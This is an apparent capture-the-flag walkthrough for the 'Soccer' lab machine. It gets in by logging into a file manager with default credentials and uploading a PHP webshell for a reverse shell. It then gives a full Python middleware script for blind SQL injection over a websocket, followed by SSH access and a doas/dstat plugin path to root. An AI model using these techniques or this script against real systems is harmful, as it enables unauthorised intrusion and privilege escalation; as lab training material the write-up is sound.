We are able to login to http://soccer.htb/tiny/ by using the default credentials which are found on the Github Page.
Since this is a file manager we are able to upload files.
When visiting the folder tiny we see that php is supported :)
Webshell
Go to folder tiny -> uploads and upload a php webshell of your choice.
Reverse Shell
I used wwwolf-php-webshell as php webshell and got a reverse shell using a plain old well known payload
Since there is nothing else that caught my eye I digged around and found out that we probably could try to find a blind sql injection like described on Blind SQLI over Websocket
Blind SQLI
WS MIddleware Script
from http.server import SimpleHTTPRequestHandler
from socketserver import TCPServer
from urllib.parse import unquote, urlparse
from websocket import create_connection
ws_server = "ws://soc-player.soccer.htb:9091/"
def send_ws(payload):
ws = create_connection(ws_server)
# If the server returns a response on connect, use below line
#resp = ws.recv() # If server returns something like a token on connect you can find and extract from here
# For our case, format the payload in JSON
message = unquote(payload).replace('"','\'') # replacing " with ' to avoid breaking JSON structure
data = '{"id":"%s"}' % message
ws.send(data)
resp = ws.recv()
ws.close()
if resp:
return resp
else:
return ''
def middleware_server(host_port,content_type="text/plain"):
class CustomHandler(SimpleHTTPRequestHandler):
def do_GET(self) -> None:
self.send_response(200)
try:
payload = urlparse(self.path).query.split('=',1)[1]
except IndexError:
payload = False
if payload:
content = send_ws(payload)
else:
content = 'No parameters specified!'
self.send_header("Content-type", content_type)
self.end_headers()
self.wfile.write(content.encode())
return
class _TCPServer(TCPServer):
allow_reuse_address = True
httpd = _TCPServer(host_port, CustomHandler)
httpd.serve_forever()
print("[+] Starting MiddleWare Server")
print("[+] Send payloads in http://localhost:8081/?id=*")
try:
middleware_server(('0.0.0.0',8081))
except KeyboardInterrupt:
pass
We can use the credentials obtained through the database to connect as user player via ssh.
Last but not least we'll run linpeas to check for anything that could be used for further privilege escalation.
We don't see anythin interesting on the first look but notice a couple of things on a second look:
/usr/local/share/dstat is writeable to our user! That means we are able to create plugins
/usr/local/bin/doas is installed
Writeable Folders
╔══════════╣ Interesting GROUP writable files (not in Home) (max 500)
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#writable-files
Group player:
/usr/local/share/dstat
doas installed
-rwsr-xr-x 1 root root 42K Nov 17 09:09 /usr/local/bin/doas
doas.conf
permit nopass player as root cmd /usr/bin/dstat
Become Root
We will create a new dstat plugin in /usr/local/share/dstat that will execute python code.